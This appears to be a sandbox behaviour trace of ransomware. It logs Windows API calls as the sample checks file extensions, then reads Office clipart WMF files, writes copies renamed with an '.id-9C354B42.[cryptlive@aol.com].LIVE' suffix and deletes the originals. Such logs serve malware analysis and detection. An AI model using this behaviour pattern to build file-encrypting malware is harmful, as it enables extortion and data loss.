lstrlenW (lpString=".docx") returned 5 [0143.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.348] lstrlenW (lpString=".pdf") returned 4 [0143.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.348] lstrlenW (lpString=".xls") returned 4 [0143.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.348] lstrlenW (lpString=".xlsx") returned 5 [0143.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.349] lstrlenW (lpString=".ppt") returned 4 [0143.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.349] lstrlenW (lpString=".zip") returned 4 [0143.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.349] lstrlenW (lpString=".rar") returned 4 [0143.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString=".bz2") returned 4 [0143.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString=".7z") returned 3 [0143.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.349] lstrlenW (lpString=".dbf") returned 4 [0143.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.349] lstrlenW (lpString=".1cd") returned 4 [0143.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.349] lstrlenW (lpString=".jpg") returned 4 [0143.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.349] lstrlenW (lpString=".doc") returned 4 [0143.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString=".docx") returned 5 [0143.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.349] lstrlenW (lpString=".pdf") returned 4 [0143.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString=".xls") returned 4 [0143.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.349] lstrlenW (lpString=".xlsx") returned 5 [0143.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.349] lstrlenW (lpString=".ppt") returned 4 [0143.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.350] lstrlenW (lpString=".zip") returned 4 [0143.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.350] lstrlenW (lpString=".rar") returned 4 [0143.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.350] lstrlenW (lpString=".bz2") returned 4 [0143.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.350] lstrlenW (lpString=".7z") returned 3 [0143.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.350] lstrlenW (lpString=".dbf") returned 4 [0143.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.350] lstrlenW (lpString=".1cd") returned 4 [0143.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.350] lstrlenW (lpString=".jpg") returned 4 [0143.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.350] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.350] lstrlenW (lpString="FD00297_.WMF") returned 12 [0143.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.370] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=18194) returned 1 [0143.370] CloseHandle (hObject=0x39c) returned 1 [0143.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0143.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.408] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.408] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.408] GetLastError () returned 0x0 [0143.408] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4712, lpOverlapped=0x0) returned 1 [0143.423] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4720, lpOverlapped=0x0) returned 1 [0143.424] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.424] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.425] SetEndOfFile (hFile=0x388) returned 1 [0143.425] CloseHandle (hObject=0x388) returned 1 [0143.425] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.425] SetEndOfFile (hFile=0x384) returned 1 [0143.427] CloseHandle (hObject=0x384) returned 1 [0143.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0143.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.428] lstrlenW (lpString=".doc") returned 4 [0143.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.428] lstrlenW (lpString=".docx") returned 5 [0143.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.428] lstrlenW (lpString=".pdf") returned 4 [0143.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.428] lstrlenW (lpString=".xls") returned 4 [0143.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.428] lstrlenW (lpString=".xlsx") returned 5 [0143.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.428] lstrlenW (lpString=".ppt") returned 4 [0143.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.428] lstrlenW (lpString=".zip") returned 4 [0143.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.428] lstrlenW (lpString=".rar") returned 4 [0143.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.428] lstrlenW (lpString=".bz2") returned 4 [0143.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString=".7z") returned 3 [0143.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.429] lstrlenW (lpString=".dbf") returned 4 [0143.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.429] lstrlenW (lpString=".1cd") returned 4 [0143.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.429] lstrlenW (lpString=".jpg") returned 4 [0143.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.429] lstrlenW (lpString=".doc") returned 4 [0143.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString=".docx") returned 5 [0143.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.429] lstrlenW (lpString=".pdf") returned 4 [0143.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString=".xls") returned 4 [0143.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.429] lstrlenW (lpString=".xlsx") returned 5 [0143.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.429] lstrlenW (lpString=".ppt") returned 4 [0143.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.429] lstrlenW (lpString=".zip") returned 4 [0143.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.429] lstrlenW (lpString=".rar") returned 4 [0143.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString=".bz2") returned 4 [0143.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.429] lstrlenW (lpString=".7z") returned 3 [0143.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.430] lstrlenW (lpString=".dbf") returned 4 [0143.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.430] lstrlenW (lpString=".1cd") returned 4 [0143.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0143.430] lstrlenW (lpString=".jpg") returned 4 [0143.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.430] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.430] lstrlenW (lpString="FD00403_.WMF") returned 12 [0143.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.430] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7878) returned 1 [0143.430] CloseHandle (hObject=0x384) returned 1 [0143.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0143.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.431] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.431] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.431] GetLastError () returned 0x0 [0143.431] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0143.451] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0143.452] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.452] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.452] SetEndOfFile (hFile=0x388) returned 1 [0143.452] CloseHandle (hObject=0x388) returned 1 [0143.453] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.453] SetEndOfFile (hFile=0x384) returned 1 [0143.455] CloseHandle (hObject=0x384) returned 1 [0143.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0143.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.493] lstrlenW (lpString=".doc") returned 4 [0143.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.493] lstrlenW (lpString=".docx") returned 5 [0143.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.494] lstrlenW (lpString=".pdf") returned 4 [0143.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString=".xls") returned 4 [0143.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.494] lstrlenW (lpString=".xlsx") returned 5 [0143.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.494] lstrlenW (lpString=".ppt") returned 4 [0143.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.494] lstrlenW (lpString=".zip") returned 4 [0143.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.494] lstrlenW (lpString=".rar") returned 4 [0143.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString=".bz2") returned 4 [0143.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString=".7z") returned 3 [0143.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.494] lstrlenW (lpString=".dbf") returned 4 [0143.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.494] lstrlenW (lpString=".1cd") returned 4 [0143.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.494] lstrlenW (lpString=".jpg") returned 4 [0143.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.494] lstrlenW (lpString=".doc") returned 4 [0143.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.494] lstrlenW (lpString=".docx") returned 5 [0143.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.494] lstrlenW (lpString=".pdf") returned 4 [0143.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.495] lstrlenW (lpString=".xls") returned 4 [0143.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.495] lstrlenW (lpString=".xlsx") returned 5 [0143.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.495] lstrlenW (lpString=".ppt") returned 4 [0143.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.495] lstrlenW (lpString=".zip") returned 4 [0143.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.495] lstrlenW (lpString=".rar") returned 4 [0143.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.495] lstrlenW (lpString=".bz2") returned 4 [0143.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.495] lstrlenW (lpString=".7z") returned 3 [0143.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.495] lstrlenW (lpString=".dbf") returned 4 [0143.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.495] lstrlenW (lpString=".1cd") returned 4 [0143.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0143.495] lstrlenW (lpString=".jpg") returned 4 [0143.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.495] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.495] lstrlenW (lpString="FD00455_.WMF") returned 12 [0143.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.496] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8926) returned 1 [0143.496] CloseHandle (hObject=0x380) returned 1 [0143.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0143.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.496] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.496] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0143.497] GetLastError () returned 0x0 [0143.497] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x22de, lpOverlapped=0x0) returned 1 [0143.503] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0143.504] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.504] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.504] SetEndOfFile (hFile=0x3ac) returned 1 [0143.504] CloseHandle (hObject=0x3ac) returned 1 [0143.504] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.504] SetEndOfFile (hFile=0x380) returned 1 [0143.506] CloseHandle (hObject=0x380) returned 1 [0143.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0143.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.507] lstrlenW (lpString=".doc") returned 4 [0143.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.507] lstrlenW (lpString=".docx") returned 5 [0143.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.507] lstrlenW (lpString=".pdf") returned 4 [0143.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.507] lstrlenW (lpString=".xls") returned 4 [0143.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.508] lstrlenW (lpString=".xlsx") returned 5 [0143.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.508] lstrlenW (lpString=".ppt") returned 4 [0143.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0143.508] lstrlenW (lpString=".zip") returned 4 [0143.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 